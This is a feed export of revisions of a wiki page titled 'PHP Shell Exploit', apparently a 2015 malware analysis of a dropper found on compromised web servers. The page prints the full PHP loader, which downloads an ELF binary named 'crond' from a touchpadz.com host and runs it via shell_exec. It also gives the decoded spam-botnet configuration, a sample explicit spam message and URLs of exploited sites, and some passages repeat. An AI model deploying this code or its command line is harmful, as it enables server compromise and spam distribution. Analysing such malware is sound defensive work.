XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;XDVSN_SESSION_COOKIE&amp;lt;/code&amp;gt; environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.&lt;br /&gt;
&lt;br /&gt;
The decoded value of the environment variable:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;ps&amp;gt;10&amp;lt;/ps&amp;gt;&amp;lt;urh&amp;gt;&amp;lt;/urh&amp;gt;&amp;lt;urp&amp;gt;&amp;lt;/urp&amp;gt;&amp;lt;lt&amp;gt;500&amp;lt;/lt&amp;gt;&amp;lt;lc&amp;gt;100&amp;lt;/lc&amp;gt;&amp;lt;bs&amp;gt;20&amp;lt;/bs&amp;gt;&amp;lt;lu&amp;gt;http://sk.touchpadz.com/&amp;lt;/lu&amp;gt;&amp;lt;bu&amp;gt;http://bat.touchpadz.com/aa2.php&amp;lt;/bu&amp;gt;&amp;lt;su&amp;gt;http://stat.touchpadz.com/gj13.php&amp;lt;/su&amp;gt;&amp;lt;ldb&amp;gt;wb_001&amp;lt;/ldb&amp;gt;&amp;lt;kk&amp;gt;38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c&amp;lt;/kk&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There are three URLs that the program will fetch data from.&lt;br /&gt;
# lu: hxxp://sk.touchpadz.com/ + /img/logo.gif?sessd=&#039;&#039;&#039;$ldb&#039;&#039;&#039;&amp;amp;sessc=&#039;&#039;&#039;$lc&#039;&#039;&#039;&amp;amp;sessk=&#039;&#039;&#039;$kk&#039;&#039;&#039;&lt;br /&gt;
# bu: hxxp://bat.touchpadz.com/aa2.php&lt;br /&gt;
# su: hxxp://stat.touchpadz.com/gj13.php&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;lu&amp;lt;/code&amp;gt; URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bu&amp;lt;/code&amp;gt; URL will return the spam message payload, encoded with the base64+xor encoder.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;USER&amp;gt;lula_burton&amp;lt;/USER&amp;gt;&lt;br /&gt;
&amp;lt;NAME&amp;gt;&amp;quot;Lula Burton&amp;quot;&amp;lt;/NAME&amp;gt;&lt;br /&gt;
&amp;lt;SUBJ&amp;gt;Fw:  Hairy pussy girl undress panties&amp;lt;/SUBJ&amp;gt;&lt;br /&gt;
&amp;lt;SBODY&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;&amp;lt;a href=&amp;quot;http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%&amp;quot;&amp;gt;Hairy pussy girl undress panties&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
combat,  why  none of us would be here. Thanks guys. Mission  complete&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/SBODY&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; URL will return the exploit URL that contains the PHP spammer.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Email Links ==&lt;br /&gt;
Each spam message appears to contain random explicit words (or that it really is bad English) and one link that is hosted on an exploited server.&lt;br /&gt;
&lt;br /&gt;
The user is redirected to the actual destination only if an encoded email address is found in the URI. The actual destination seems to be operated by the same operator who runs the botnet or is related to the operator since it contains an image href to:&lt;br /&gt;
* hxxp://touch.touchpadz.com/empty22.gif&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1167</id>
		<title>PHP Shell Exploit</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=PHP_Shell_Exploit&amp;diff=1167"/>
		<updated>2015-05-08T04:46:05Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
$key=&amp;quot;1)#&#039;ps3!U P|m[A\tyr4j6?F\nZ^C98Nng\$\\%{}wY:_Vx`e7LcGWoO\rhK&amp;gt;a;q0HD.&amp;amp;QRz~@,TM-l(5JSitk/]2bu=d\&amp;quot;I&amp;lt;BEXfv*+&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
$crondElf32 =&#039;http://pages.touchpadz.com/crond32&#039;;&lt;br /&gt;
$crondElf64 =&#039;http://pages.touchpadz.com/crond64&#039;;&lt;br /&gt;
$xdvsnExploitEnv = &#039;XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8&#039;;&lt;br /&gt;
$systemType = php_uname(&#039;s&#039;);&lt;br /&gt;
$xpsvt57 = php_uname(&#039;m&#039;);&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;shchzzz&amp;gt;&#039;;&lt;br /&gt;
for (;;) {&lt;br /&gt;
	if (!function_exists(&#039;shell_exec&#039;)) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=1 err=noshex data=&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	if ($systemType !== &#039;Linux&#039;) {&lt;br /&gt;
		echo &#039;&amp;lt;err step=2 err=nolinux data=&#039;.$hafev1.&#039;&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	$targetFilename = &#039;crond&#039;;&lt;br /&gt;
	$exploitUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	if (strlen(decbin(~0)) == 64) {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x64&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf64;&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x32&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf32;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$exploitFilename = &amp;quot;&amp;quot;;&lt;br /&gt;
	if (!file_exists($targetFilename)) {&lt;br /&gt;
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);&lt;br /&gt;
&lt;br /&gt;
		if ( $exploitFilename == FALSE) {&lt;br /&gt;
			echo &#039;&amp;lt;err step=4 err=downl data=&amp;gt;&#039;;&lt;br /&gt;
			break;&lt;br /&gt;
		} else {&lt;br /&gt;
			echo &#039;&amp;lt;inf step=4 data=downok&amp;gt;&#039;;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=4 data=exists&amp;gt;&#039;;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	chmod($exploitFilename, 0755);&lt;br /&gt;
&lt;br /&gt;
	$exploitCmd = $xdvsnExploitEnv.&#039; ./&#039;.$exploitFilename.&#039; &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&#039;;&lt;br /&gt;
	$exploitResult = shell_exec($exploitCmd);&lt;br /&gt;
&lt;br /&gt;
	echo &#039;&amp;lt;inf step=5 data=done data2=&#039;.$exploitResult.&#039;&amp;gt;&#039;;&lt;br /&gt;
	sleep(1);&lt;br /&gt;
&lt;br /&gt;
	unlink($exploitFilename);&lt;br /&gt;
&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;/shchzzz&amp;gt;&#039;;&lt;br /&gt;
exit();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function getPasteFileContents($key, $url) {&lt;br /&gt;
	$hackFileContents = &amp;quot;&amp;quot;;&lt;br /&gt;
	$fp = @fopen($url, &#039;rb&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;curl_init&#039;))&lt;br /&gt;
			return FALSE;&lt;br /&gt;
			&lt;br /&gt;
		$curl = @curl_init();&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_URL, $url);&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;
		$hackFileContents = @curl_exec($curl);&lt;br /&gt;
		@curl_close($curl);&lt;br /&gt;
	} else {&lt;br /&gt;
		while(!feof($fp))&lt;br /&gt;
			$hackFileContents.= fread($fp, 1024 * 64);&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
	}&lt;br /&gt;
    return $hackFileContents;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveContentsToFile($key, $hackFilename, $hackFileContents) {&lt;br /&gt;
	$fp = fopen($hackFilename, &#039;wb+&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;file_put_contents&#039;)) return FALSE;&lt;br /&gt;
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;&lt;br /&gt;
	} else {&lt;br /&gt;
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;&lt;br /&gt;
	}&lt;br /&gt;
	return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveUrlToFile($key, $url, $exploitFilename) {&lt;br /&gt;
	$hackFileContents = getPasteFileContents($key, $url);&lt;br /&gt;
&lt;br /&gt;
	if ($hackFileContents == FALSE) return FALSE;&lt;br /&gt;
	&lt;br /&gt;
	if (saveContentsToFile($key, .&#039;/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
		if (saveContentsToFile($key, &#039;/tmp/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
			return FALSE;&lt;br /&gt;
		} else {&lt;br /&gt;
			return &#039;/tmp/&#039;.$exploitFilename;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		return .&#039;/&#039;.$exploitFilename;&lt;br /&gt;
	}&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The attacker will see the following outputs:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;shchzzz&amp;gt;&lt;br /&gt;
&amp;lt;inf step=3 data=x64&amp;gt;&lt;br /&gt;
&amp;lt;inf step=4 data=downok&amp;gt;&lt;br /&gt;
&amp;lt;inf step=5 data=done data2=XXX&amp;gt;&lt;br /&gt;
&amp;lt;/shchzzz&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
where XXX is the return code of the shell exec which attempts to run:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
XDVSN_SESSION_COOKIE=PnJxPDMyPi1ycTw+d3BqPD4td3BqPD53cHI8Pi13cHI8Pm52PDcyMj4tbnY8Pm5hPDMyMj4tbmE8PmBxPDAyPi1gcTw+bnc8anZ2cjgtLXFpLHZtd2FqcmNmeCxhbW8tPi1udzw+YHc8anZ2cjgtLWBjdix2bXdhanJjZngsYW1vLWNjMCxyanI+LWB3PD5xdzxqdnZyOC0tcXZjdix2bXdhanJjZngsYW1vLWVoMzEscmpyPi1xdzw+bmZgPHVgXTIyMz4tbmZgPD5paTwxOmAzMjY1OzRmO2YyMGM6LjdkMztmZjU0M2AzY2cyNDUuMzowZjtgZzE3Yzc6YDdnLjU0MzA3NWE1Y2c2MTc3MC4zYTQ7M2AwYTE6NTUxN2dhLjNjNTc1NTsyMzdkYWZnMDouYTdmNDMyNzY0OmFmNTYyLjY6OjozMjs3N2FkOzJmMmEuNDBhOjIyMDsxOjowZDoyZC4zZzRgZGQ0YDY2NmczYDJmLjQxZjA3NTA7MjQ3OmA7OzouMGAyMmdkMmQ2YzZkMzs1Zi5kMzBhNzZnMzs3NWFmNjEuNzE0NzE6N2MzYzc1MjswMC42OjM6ZzQ3NDdjYGM1Z2BjLjtmNDc3Ojc3NDo6Zjc1Ni4xMzU0MDJgNjYwN2Y0NjUyLjM0Zjc6YTIxM2ZmZzVjMy43ZDswNzQ2MjIyN2FkNDRgLjc1MTQwYWMwMDdjYWNnMmQuNGBmNWNkYTMzZjc2MDJmZi41ZzE7ZmZmYDI7MzZmNTYzLjE1NjIxMGA3NzVhMzQ1MmQuN2M3NzU6NTMwMzc0YDBgMC42MGdnMzRmZjNmM2Q0YDA3LjU7YDE7Y2A6NWc1MTA0MzsuMTthY2A3ZjIwYDQ0YTtkYy40Ozc0OzFkZzExMmc6MjdkLjVmMmcxOmFnMTJgMWZnMGEuNTJgZDU3NzYwO2AyNzs2NC41OmA3NztgMzZjMzFkMTI0LjQxYDo1NDpnNDE0ZGY7NGYuNjYwYGQ1YTMwMDs1MjY6Ni40OmM7YTs1ZDQwZ2EwOjBmLjVnNjAzNGBmMDZnMTc2YDEuNjphZzI6NzQ2Zzo3Y2YzNS4wYzA1MGNnZjUzNTE6NmZkLjc1MzphOjZkM2EyNTA6ZmAuM2MyYDszZzE0Zjs1M2YzNC43YGQ1MjsxNzE1NWZnNTQ2LjBjZzBgNjc6MjtjZzc3MmYuMzY3MDJkMzozNTdmMWFgYy40YzFnMDZkNTM3Z2Y2YTY3LmcwYzswZzoyZjMxMjQ2MC43YTIyM2Q0OjJhMmc3N2NnLjMzYDdjNzUwY2E6NjVkOi42MGdmNjA3ZDQ0YzJhZ2QwLjY1NTBnOjA1NjpnNWBnYGEuNDQ7YDpkY2c0Z2Q0N2dhOi41MmE7MzUyNTAwMjU2OjMyLmEyYTQ3OmMyM2ZnOmdmYy4xYzU2YWFmMzZjMTEyYWQ6LjdmOzpmNzVhN2FnOjEzOmAuMzIyZjJmZGM2OzMyZzNkNS41MTQxOjQ2MjJgMjE3Mjs3LjQ7ZGNmNWQ3ZjE1YDNnNi41MToyNDMxMzUzNGY3NmZjLjYyZmcxMjI7MWAwNjIzYWMuMTpkM2Y2YTMyYWE1MDthMC40NTo0YTVhMzYzYzZhNGM0LjA6Z2czZDtgMDs3ZjZkYTMuMGYzZDdnYTY0NDo0Z2djNC4wNjtnNmM6NDM2MGdkNWY6LjM1OzNmM2c6NDQ0YTA2MzYuNjdgNzMxMWM1MTIzY2MxYT4taWk8 ./tmp/crond &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;XDVSN_SESSION_COOKIE&amp;lt;/code&amp;gt; environment variable contains data encoded with their base64+xor function that contains the server and session IDs to use when communicating with the server. If this environment variable is missing, the program will terminate immediately.&lt;br /&gt;
&lt;br /&gt;
The decoded value of the environment variable:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;ps&amp;gt;10&amp;lt;/ps&amp;gt;&amp;lt;urh&amp;gt;&amp;lt;/urh&amp;gt;&amp;lt;urp&amp;gt;&amp;lt;/urp&amp;gt;&amp;lt;lt&amp;gt;500&amp;lt;/lt&amp;gt;&amp;lt;lc&amp;gt;100&amp;lt;/lc&amp;gt;&amp;lt;bs&amp;gt;20&amp;lt;/bs&amp;gt;&amp;lt;lu&amp;gt;http://sk.touchpadz.com/&amp;lt;/lu&amp;gt;&amp;lt;bu&amp;gt;http://bat.touchpadz.com/aa2.php&amp;lt;/bu&amp;gt;&amp;lt;su&amp;gt;http://stat.touchpadz.com/gj13.php&amp;lt;/su&amp;gt;&amp;lt;ldb&amp;gt;wb_001&amp;lt;/ldb&amp;gt;&amp;lt;kk&amp;gt;38b104796d9d02a8,5f19dd761b1ae067,182d9be35a58b5e,761257c7ae43552,1c691b2c387735ec,1a75779015fcde28,c5d6105468cd740,488810955cf90d0c,62c800293882f80f,1e6bff6b444e1b0d,63d257290658b998,2b00ef0f4a4f197d,f12c54e1957cd43,5365385a1a570922,4818e6565aba7eba,9d655855688d574,317620b4425d6470,16d58c031dde7a1,5f925640005cf66b,57362ca225acae0f,6bd7afc11d5420dd,7e39dddb0914d741,374032b557c1670f,5a5578712156b2b2,42ee16dd1d1f6b25,79b39ab87e732619,39cab5d02b66c9fa,695693fe330e805f,7d0e38ce30b3de2c,70bf755429b05946,78b559b14a13f306,63b8768e636fd96d,442bf7c122970484,68a9c97f62ec282d,7e4216bd24e354b3,48ce08564e85ad17,2a272aed717384df,5718c84f1c0728db,1a0b91e36d971d16,5bf70935377de764,2ae2b45809ae550d,14520f18175d3cba,6a3e24f715ed4c45,e2a92e80d130642,5c001f680c0e55ae,11b5a572ac847f8,42ed425f66a0cef2,4772e82748e7bebc,669b8fae6ef65ec8,70c9170722074810,c0c658a01de8eda,3a74ccd14a330cf8,5d98d57c5ce8318b,100d0dfa4910e1f7,736386400b035095,69fad7f5d37b1e4,73806131716d54da,40de30093b2401ca,38f1d4c10cc729c2,6786c7c141a4c6a6,28ee1f9b295d4fc1,2d1f5ec46686eea6,249e4a86142ef7d8,1791d1e8666c2414,45b5133a7301aa3c&amp;lt;/kk&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
There are three URLs that the program will fetch data from.&lt;br /&gt;
# lu: hxxp://sk.touchpadz.com/ + /img/logo.gif?sessd=&#039;&#039;&#039;$ldb&#039;&#039;&#039;&amp;amp;sessc=&#039;&#039;&#039;$lc&#039;&#039;&#039;&amp;amp;sessk=&#039;&#039;&#039;$kk&#039;&#039;&#039;&lt;br /&gt;
# bu: hxxp://bat.touchpadz.com/aa2.php&lt;br /&gt;
# su: hxxp://stat.touchpadz.com/gj13.php&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;lu&amp;lt;/code&amp;gt; URL will contain 3 parameters that are provided through the environment variable. The data returned from this source is encoded in an unknown format, but is most likely a list of email addresses.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;bu&amp;lt;/code&amp;gt; URL will return the spam message payload, encoded with the base64+xor encoder.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;USER&amp;gt;lula_burton&amp;lt;/USER&amp;gt;&lt;br /&gt;
&amp;lt;NAME&amp;gt;&amp;quot;Lula Burton&amp;quot;&amp;lt;/NAME&amp;gt;&lt;br /&gt;
&amp;lt;SUBJ&amp;gt;Fw:  Hairy pussy girl undress panties&amp;lt;/SUBJ&amp;gt;&lt;br /&gt;
&amp;lt;SBODY&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;&amp;lt;a href=&amp;quot;http://www.appgott.com/wp-content/plugins/better-wp-security/modules/free/backup/js/help.php?%MAIL_EN%&amp;quot;&amp;gt;Hairy pussy girl undress panties&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
combat,  why  none of us would be here. Thanks guys. Mission  complete&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/SBODY&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;code&amp;gt;su&amp;lt;/code&amp;gt; URL will return the exploit URL that contains the PHP spammer.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
http://resiliententrepreneur.com/wp-content/cache/supercache/resiliententrepreneur.com/ajaxfilemanager/file.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Email Links ==&lt;br /&gt;
Each spam message appears to contain random explicit words (or that it really is bad English) and one link that is hosted on an exploited server.&lt;br /&gt;
&lt;br /&gt;
The user is redirected to the actual destination only if an encoded email address is found in the URI. The actual destination seems to be operated by the same operator who runs the botnet or is related to the operator since it contains an image href to:&lt;br /&gt;
